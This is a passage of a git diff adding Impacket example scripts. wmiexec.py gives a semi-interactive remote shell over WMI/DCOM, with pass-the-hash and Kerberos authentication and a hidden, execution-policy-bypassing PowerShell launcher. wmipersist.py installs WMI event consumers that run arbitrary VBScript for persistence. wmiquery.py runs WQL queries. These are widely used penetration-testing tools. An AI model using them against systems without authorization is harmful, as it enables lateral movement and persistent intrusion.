+                logging.info("SMBv3.0 dialect used")
+        else:
+            smbConnection = None
+
+        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
+        try:
+            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
+            iWbemLevel1Login.RemRelease()
+
+            win32Process, _ = iWbemServices.GetObject('Win32_Process')
+
+            self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.__shell_type, silentCommand)
+            if self.__command != ' ':
+                self.shell.onecmd(self.__command)
+            else:
+                self.shell.cmdloop()
+        except  (Exception, KeyboardInterrupt) as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            logging.error(str(e))
+            if smbConnection is not None:
+                smbConnection.logoff()
+            dcom.disconnect()
+            sys.stdout.flush()
+            sys.exit(1)
+
+        if smbConnection is not None:
+            smbConnection.logoff()
+        dcom.disconnect()
+
+
+class RemoteShell(cmd.Cmd):
+    def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):
+        cmd.Cmd.__init__(self)
+        self.__share = share
+        self.__output = '\\' + OUTPUT_FILENAME
+        self.__outputBuffer = str('')
+        self.__shell = 'cmd.exe /Q /c '
+        self.__shell_type = shell_type
+        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
+        self.__win32Process = win32Process
+        self.__transferClient = smbConnection
+        self.__silentCommand = silentCommand
+        self.__pwd = str('C:\\')
+        self.__noOutput = False
+        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
+
+        # We don't wanna deal with timeouts from now on.
+        if self.__transferClient is not None:
+            self.__transferClient.setTimeout(100000)
+            self.do_cd('\\')
+        else:
+            self.__noOutput = True
+
+        # If the user wants to just execute a command without cmd.exe, set raw command and set no output
+        if self.__silentCommand is True:
+            self.__shell = ''
+
+    def do_shell(self, s):
+        os.system(s)
+
+    def do_help(self, line):
+        print("""
+ lcd {path}                 - changes the current local directory to {path}
+ exit                       - terminates the server process (and this session)
+ lput {src_file, dst_path}   - uploads a local file to the dst_path (dst_path = default current directory)
+ lget {file}                 - downloads pathname to the current local dir
+ ! {cmd}                    - executes a local shell cmd
+""")
+
+    def do_lcd(self, s):
+        if s == '':
+            print(os.getcwd())
+        else:
+            try:
+                os.chdir(s)
+            except Exception as e:
+                logging.error(str(e))
+
+    def do_lget(self, src_path):
+
+        try:
+            import ntpath
+            newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
+            drive, tail = ntpath.splitdrive(newPath)
+            filename = ntpath.basename(tail)
+            fh = open(filename, 'wb')
+            logging.info("Downloading %s\\%s" % (drive, tail))
+            self.__transferClient.getFile(drive[:-1] + '$', tail, fh.write)
+            fh.close()
+
+        except Exception as e:
+            logging.error(str(e))
+
+            if os.path.exists(filename):
+                os.remove(filename)
+
+    def do_lput(self, s):
+        try:
+            params = s.split(' ')
+            if len(params) > 1:
+                src_path = params[0]
+                dst_path = params[1]
+            elif len(params) == 1:
+                src_path = params[0]
+                dst_path = ''
+
+            src_file = os.path.basename(src_path)
+            fh = open(src_path, 'rb')
+            dst_path = dst_path.replace('/', '\\')
+            import ntpath
+            pathname = ntpath.join(ntpath.join(self.__pwd, dst_path), src_file)
+            drive, tail = ntpath.splitdrive(pathname)
+            logging.info("Uploading %s to %s" % (src_file, pathname))
+            self.__transferClient.putFile(drive[:-1] + '$', tail, fh.read)
+            fh.close()
+        except Exception as e:
+            logging.critical(str(e))
+            pass
+
+    def do_exit(self, s):
+        return True
+
+    def do_EOF(self, s):
+        print()
+        return self.do_exit(s)
+
+    def emptyline(self):
+        return False
+
+    def do_cd(self, s):
+        self.execute_remote('cd ' + s)
+        if len(self.__outputBuffer.strip('\r\n')) > 0:
+            print(self.__outputBuffer)
+            self.__outputBuffer = ''
+        else:
+            if PY2:
+                self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s.decode(sys.stdin.encoding)))
+            else:
+                self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
+            self.execute_remote('cd ')
+            self.__pwd = self.__outputBuffer.strip('\r\n')
+            self.prompt = (self.__pwd + '>')
+            if self.__shell_type == 'powershell':
+                self.prompt = 'PS ' + self.prompt + ' '
+            self.__outputBuffer = ''
+
+    def default(self, line):
+        # Let's try to guess if the user is trying to change drive
+        if len(line) == 2 and line[1] == ':':
+            # Execute the command and see if the drive is valid
+            self.execute_remote(line)
+            if len(self.__outputBuffer.strip('\r\n')) > 0:
+                # Something went wrong
+                print(self.__outputBuffer)
+                self.__outputBuffer = ''
+            else:
+                # Drive valid, now we should get the current path
+                self.__pwd = line
+                self.execute_remote('cd ')
+                self.__pwd = self.__outputBuffer.strip('\r\n')
+                self.prompt = (self.__pwd + '>')
+                self.__outputBuffer = ''
+        else:
+            if line != '':
+                self.send_data(line)
+
+    def get_output(self):
+        def output_callback(data):
+            try:
+                self.__outputBuffer += data.decode(CODEC)
+            except UnicodeDecodeError:
+                logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
+                              'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
+                              'again with -codec and the corresponding codec')
+                self.__outputBuffer += data.decode(CODEC, errors='replace')
+
+        if self.__noOutput is True:
+            self.__outputBuffer = ''
+            return
+
+        while True:
+            try:
+                self.__transferClient.getFile(self.__share, self.__output, output_callback)
+                break
+            except Exception as e:
+                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
+                    # Output not finished, let's wait
+                    time.sleep(1)
+                    pass
+                elif str(e).find('Broken') >= 0:
+                    # The SMB Connection might have timed out, let's try reconnecting
+                    logging.debug('Connection broken, trying to recreate it')
+                    self.__transferClient.reconnect()
+                    return self.get_output()
+        self.__transferClient.deleteFile(self.__share, self.__output)
+
+    def execute_remote(self, data, shell_type='cmd'):
+        if shell_type == 'powershell':
+            data = '$ProgressPreference="SilentlyContinue";' + data
+            data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()
+
+        command = self.__shell + data
+
+        if self.__noOutput is False:
+            command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
+        if PY2:
+            self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None)
+        else:
+            self.__win32Process.Create(command, self.__pwd, None)
+        self.get_output()
+
+    def send_data(self, data):
+        self.execute_remote(data, self.__shell_type)
+        print(self.__outputBuffer)
+        self.__outputBuffer = ''
+
+
+class AuthFileSyntaxError(Exception):
+    '''raised by load_smbclient_auth_file if it encounters a syntax error
+    while loading the smbclient-style authentication file.'''
+
+    def __init__(self, path, lineno, reason):
+        self.path = path
+        self.lineno = lineno
+        self.reason = reason
+
+    def __str__(self):
+        return 'Syntax error in auth file %s line %d: %s' % (
+            self.path, self.lineno, self.reason)
+
+
+def load_smbclient_auth_file(path):
+    '''Load credentials from an smbclient-style authentication file (used by
+    smbclient, mount.cifs and others).  returns (domain, username, password)
+    or raises AuthFileSyntaxError or any I/O exceptions.'''
+
+    lineno = 0
+    domain = None
+    username = None
+    password = None
+    for line in open(path):
+        lineno += 1
+
+        line = line.strip()
+
+        if line.startswith('#') or line == '':
+            continue
+
+        parts = line.split('=', 1)
+        if len(parts) != 2:
+            raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
+
+        (k, v) = (parts[0].strip(), parts[1].strip())
+
+        if k == 'username':
+            username = v
+        elif k == 'password':
+            password = v
+        elif k == 'domain':
+            domain = v
+        else:
+            raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
+
+    return (domain, username, password)
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True, description="Executes a semi-interactive shell using Windows "
+                                                                "Management Instrumentation.")
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-share', action='store', default='ADMIN$', help='share where the output will be grabbed from '
+                                                                         '(default ADMIN$)')
+    parser.add_argument('-nooutput', action='store_true', default=False, help='whether or not to print the output '
+                                                                              '(no SMB connection created)')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-silentcommand', action='store_true', default=False,
+                        help='does not execute cmd.exe to run given command (no output)')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
+                                                       '"%s"). If errors are detected, run chcp.com at the target, '
+                                                       'map the result with '
+                                                       'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '
+                                                       'again with -codec and the corresponding codec ' % CODEC)
+    parser.add_argument('-shell-type', action='store', default='cmd', choices=['cmd', 'powershell'],
+                        help='choose a command processor for the semi-interactive shell')
+    parser.add_argument('-com-version', action='store', metavar="MAJOR_VERSION:MINOR_VERSION",
+                        help='DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')
+    parser.add_argument('command', nargs='*', default=' ', help='command to execute at the target. If empty it will '
+                                                                'launch a semi-interactive shell')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true",
+                       help='Use Kerberos authentication. Grabs credentials from ccache file '
+                            '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                            'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
+                                                                          '(128 or 256 bits)')
+    group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
+                                                                            'ommited it use the domain part (FQDN) specified in the target parameter')
+    group.add_argument('-A', action="store", metavar="authfile", help="smbclient/mount.cifs-style authentication file. "
+                                                                      "See smbclient man page's -A option.")
+    group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
+
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.codec is not None:
+        CODEC = options.codec
+    else:
+        if CODEC is None:
+            CODEC = 'utf-8'
+
+    if ' '.join(options.command) == ' ' and options.nooutput is True:
+        logging.error("-nooutput switch and interactive shell not supported")
+        sys.exit(1)
+    if options.silentcommand and options.command == ' ':
+        logging.error("-silentcommand switch and interactive shell not supported")
+        sys.exit(1)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    if options.com_version is not None:
+        try:
+            major_version, minor_version = options.com_version.split('.')
+            COMVERSION.set_default_version(int(major_version), int(minor_version))
+        except Exception:
+            logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"")
+            sys.exit(1)
+
+    domain, username, password, address = parse_target(options.target)
+
+    try:
+        if options.A is not None:
+            (domain, username, password) = load_smbclient_auth_file(options.A)
+            logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (
+            repr(domain), repr(username), repr(password)))
+
+        if domain is None:
+            domain = ''
+
+        if options.keytab is not None:
+            Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
+            options.k = True
+
+        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+            from getpass import getpass
+
+            password = getpass("Password:")
+
+        if options.aesKey is not None:
+            options.k = True
+
+        executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
+                           options.share, options.nooutput, options.k, options.dc_ip, options.shell_type)
+        executer.run(address, options.silentcommand)
+    except KeyboardInterrupt as e:
+        logging.error(str(e))
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+
+            traceback.print_exc()
+        logging.error(str(e))
+        sys.exit(1)
+
+    sys.exit(0)
diff --git a/examples/wmipersist.py b/examples/wmipersist.py
new file mode 100644
index 0000000..cc8afc8
--- /dev/null
+++ b/examples/wmipersist.py
@@ -0,0 +1,252 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This script creates/removes a WMI Event Consumer/Filter and link
+#   between both to execute Visual Basic based on the WQL filter
+#   or timer specified.
+#
+#   Example:
+#
+#   write a file toexec.vbs the following:
+#	    Dim objFS, objFile
+#	    Set objFS = CreateObject("Scripting.FileSystemObject")
+#	    Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true)
+#	    objFile.WriteLine "Hey There!"
+#	    objFile.Close
+#
+#   then execute this script this way, VBS will be triggered once
+#   somebody opens calc.exe:
+#
+#       wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC
+#           -vbs toexec.vbs
+#           -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance
+#                    ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"'
+#
+#   or, if you just want to execute the VBS every XXX milliseconds:
+#
+#       wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC
+#           -vbs toexec.vbs -timer XXX
+#
+#   to remove the event:
+#	    wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC
+#
+#   if you don't specify the password, it will be asked by the script.
+#   domain is optional.
+#
+# Author:
+#   beto (@agsolino)
+#
+# Reference for:
+#  DCOM/WMI
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import argparse
+import logging
+
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket import version
+from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dtypes import NULL
+
+
+class WMIPERSISTENCE:
+    def __init__(self, username='', password='', domain='', options=None):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__options = options
+        self.__lmhash = ''
+        self.__nthash = ''
+        if options.hashes is not None:
+            self.__lmhash, self.__nthash = options.hashes.split(':')
+
+    @staticmethod
+    def checkError(banner, resp):
+        call_status = resp.GetCallStatus(0) & 0xffffffff  # interpret as unsigned
+        if call_status != 0:
+            from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS
+            try:
+                error_name = WBEMSTATUS.enumItems(call_status).name
+            except ValueError:
+                error_name = 'Unknown'
+            logging.error('%s - ERROR: %s (0x%08x)' % (banner, error_name, call_status))
+        else:
+            logging.info('%s - OK' % banner)
+
+    def run(self, addr):
+        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                              options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip)
+
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL)
+        iWbemLevel1Login.RemRelease()
+
+        if self.__options.action.upper() == 'REMOVE':
+            self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name,
+                            iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name))
+
+            self.checkError('Removing EventFilter EF_%s' % self.__options.name,
+                            iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name))
+
+            self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name,
+                            iWbemServices.DeleteInstance(
+                                '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name))
+
+            self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name,
+                            iWbemServices.DeleteInstance(
+                                r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",'
+                                r'Filter="__EventFilter.Name=\"EF_%s\""' % (
+                                self.__options.name, self.__options.name)))
+        else:
+            activeScript, _ = iWbemServices.GetObject('ActiveScriptEventConsumer')
+            activeScript = activeScript.SpawnInstance()
+            activeScript.Name = self.__options.name
+            activeScript.ScriptingEngine = 'VBScript'
+            activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
+            activeScript.ScriptText = options.vbs.read()
+            self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name, 
+                iWbemServices.PutInstance(activeScript.marshalMe()))
+        
+            if options.filter is not None:
+                eventFilter, _ = iWbemServices.GetObject('__EventFilter')
+                eventFilter = eventFilter.SpawnInstance()
+                eventFilter.Name = 'EF_%s' % self.__options.name
+                eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
+                eventFilter.Query = options.filter
+                eventFilter.QueryLanguage = 'WQL'
+                eventFilter.EventNamespace = r'root\cimv2'
+                self.checkError('Adding EventFilter EF_%s' % self.__options.name,
+                    iWbemServices.PutInstance(eventFilter.marshalMe()))
+
+            else:
+                wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction')
+                wmiTimer = wmiTimer.SpawnInstance()
+                wmiTimer.TimerId = 'TI_%s' % self.__options.name
+                wmiTimer.IntervalBetweenEvents = int(self.__options.timer)
+                #wmiTimer.SkipIfPassed = False
+                self.checkError('Adding IntervalTimerInstruction',
+                    iWbemServices.PutInstance(wmiTimer.marshalMe()))
+
+                eventFilter,_ = iWbemServices.GetObject('__EventFilter')
+                eventFilter =  eventFilter.SpawnInstance()
+                eventFilter.Name = 'EF_%s' % self.__options.name
+                eventFilter.CreatorSID =  [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
+                eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name
+                eventFilter.QueryLanguage = 'WQL'
+                eventFilter.EventNamespace = r'root\subscription'
+                self.checkError('Adding EventFilter EF_%s' % self.__options.name,
+                    iWbemServices.PutInstance(eventFilter.marshalMe()))
+
+            filterBinding, _ = iWbemServices.GetObject('__FilterToConsumerBinding')
+            filterBinding = filterBinding.SpawnInstance()
+            filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name
+            filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name
+            filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
+
+            self.checkError('Adding FilterToConsumerBinding',
+                iWbemServices.PutInstance(filterBinding.marshalMe()))
+
+        dcom.disconnect()
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Creates/Removes a WMI Event Consumer/Filter and "
+                               "link between both to execute Visual Basic based on the WQL filter or timer specified.")
+
+    parser.add_argument('target', action='store', help='[domain/][username[:password]@]<address>')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, '
+                        'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')
+    subparsers = parser.add_subparsers(help='actions', dest='action')
+
+    # A start command
+    install_parser = subparsers.add_parser('install', help='installs the wmi event consumer/filter')
+    install_parser.add_argument('-name', action='store', required=True, help='event name')
+    install_parser.add_argument('-vbs', type=argparse.FileType('r'), required=True, help='VBS filename containing the '
+                                                                                         'script you want to run')
+    install_parser.add_argument('-filter', action='store', required=False, help='the WQL filter string that will trigger'
+                                                                                ' the script')
+    install_parser.add_argument('-timer', action='store', required=False, help='the amount of milliseconds after the'
+                                                                               ' script will be triggered')
+
+    # A stop command
+    remove_parser = subparsers.add_parser('remove', help='removes the wmi event consumer/filter')
+    remove_parser.add_argument('-name', action='store', required=True, help='event name')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+ 
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    if options.com_version is not None:
+        try:
+            major_version, minor_version = options.com_version.split('.')
+            COMVERSION.set_default_version(int(major_version), int(minor_version))
+        except Exception:
+            logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"")
+            sys.exit(1)
+
+    if options.action.upper() == 'INSTALL':
+        if (options.filter is None and options.timer is None) or  (options.filter is not None and options.timer is not None):
+            logging.error("You have to either specify -filter or -timer (and not both)")
+            sys.exit(1)
+
+    domain, username, password, address = parse_target(options.target)
+
+    try:
+        if domain is None:
+            domain = ''
+
+        if options.aesKey is not None:
+            options.k = True
+
+        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+            from getpass import getpass
+            password = getpass("Password:")
+
+        executer = WMIPERSISTENCE(username, password, domain, options)
+        executer.run(address)
+    except (Exception, KeyboardInterrupt) as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(e)
+    sys.exit(0)
diff --git a/examples/wmiquery.py b/examples/wmiquery.py
new file mode 100644
index 0000000..0e97552
--- /dev/null
+++ b/examples/wmiquery.py
@@ -0,0 +1,225 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-WMI] example. It allows to issue WQL queries and
+#   get description of the objects.
+#
+#       e.g.: select name from win32_account
+#       e.g.: describe win32_process
+# 
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#  DCOM
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import sys
+import os
+import logging
+
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket import version
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY
+
+if __name__ == '__main__':
+    import cmd
+
+    class WMIQUERY(cmd.Cmd):
+        def __init__(self, iWbemServices):
+            cmd.Cmd.__init__(self)
+            self.iWbemServices = iWbemServices
+            self.prompt = 'WQL> '
+            self.intro = '[!] Press help for extra shell commands'
+
+        def do_help(self, line):
+            print("""
+     lcd {path}                 - changes the current local directory to {path}
+     exit                       - terminates the server process (and this session)
+     describe {class}           - describes class
+     ! {cmd}                    - executes a local shell cmd
+     """) 
+
+        def do_shell(self, s):
+            os.system(s)
+
+        def do_describe(self, sClass):
+            sClass = sClass.strip('\n')
+            if sClass[-1:] == ';':
+                sClass = sClass[:-1]
+            try:
+                iObject, _ = self.iWbemServices.GetObject(sClass)
+                iObject.printInformation()
+                iObject.RemRelease()
+            except Exception as e:
+                if logging.getLogger().level == logging.DEBUG:
+                    import traceback
+                    traceback.print_exc()
+                logging.error(str(e))
+
+        def do_lcd(self, s):
+            if s == '':
+                print(os.getcwd())
+            else:
+                os.chdir(s)
+    
+        def printReply(self, iEnum):
+            printHeader = True
+            while True:
+                try:
+                    pEnum = iEnum.Next(0xffffffff,1)[0]
+                    record = pEnum.getProperties()
+                    if printHeader is True:
+                        print('|', end=' ')
+                        for col in record:
+                            print('%s |' % col, end=' ')
+                        print()
+                        printHeader = False
+                    print('|', end=' ') 
+                    for key in record:
+                        if type(record[key]['value']) is list:
+                            for item in record[key]['value']:
+                                print(item, end=' ')
+                            print(' |', end=' ')
+                        else:
+                            print('%s |' % record[key]['value'], end=' ')
+                    print() 
+                except Exception as e:
+                    if logging.getLogger().level == logging.DEBUG:
+                        import traceback
+                        traceback.print_exc()
+                    if str(e).find('S_FALSE') < 0:
+                        raise
+                    else:
+                        break
+            iEnum.RemRelease() 
+
+        def default(self, line):
+            line = line.strip('\n')
+            if line[-1:] == ';':
+                line = line[:-1]
+            try:
+                iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n'))
+                self.printReply(iEnumWbemClassObject)
+                iEnumWbemClassObject.RemRelease()
+            except Exception as e:
+                logging.error(str(e))
+         
+        def emptyline(self):
+            pass
+
+        def do_exit(self, line):
+            return True
+
+    # Init the example's logger theme
+    logger.init()
+  
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Executes WQL queries and gets object descriptions "
+                                                                    "using Windows Management Instrumentation.")
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-namespace', action='store', default='//./root/cimv2', help='namespace name (default //./root/cimv2)')
+    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the WQL shell')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, '
+                        'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+    group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default',
+                       help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy '
+                            '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require '
+                            'privacy level by default)')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+ 
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    if options.com_version is not None:
+        try:
+            major_version, minor_version = options.com_version.split('.')
+            COMVERSION.set_default_version(int(major_version), int(minor_version))
+        except Exception:
+            logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"")
+            sys.exit(1)
+
+    domain, username, password, address = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if options.hashes is not None:
+        lmhash, nthash = options.hashes.split(':')
+    else:
+        lmhash = ''
+        nthash = ''
+
+    try:
+        dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True,
+                              doKerberos=options.k, kdcHost=options.dc_ip)
+
+        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
+        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+        iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL)
+        if options.rpc_auth_level == 'privacy':
+            iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+        elif options.rpc_auth_level == 'integrity':
+            iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
+
+        iWbemLevel1Login.RemRelease()
+
+        shell = WMIQUERY(iWbemServices)
+        if options.file is None:
+            shell.cmdloop()
+        else:
+            for line in options.file.readlines():
+                print("WQL> %s" % line, end=' ')
+                shell.onecmd(line)
+
+        iWbemServices.RemRelease()
+        dcom.disconnect()
+    except Exception as e:
+        logging.error(str(e))
+        try:
+            dcom.disconnect()
+        except:
+            pass
diff --git a/impacket/Dot11Crypto.py b/impacket/Dot11Crypto.py
new file mode 100644
index 0000000..1bf9d70
--- /dev/null
+++ b/impacket/Dot11Crypto.py
@@ -0,0 +1,38 @@
+# Impacket - Collection of Python classes for working with network protocols.
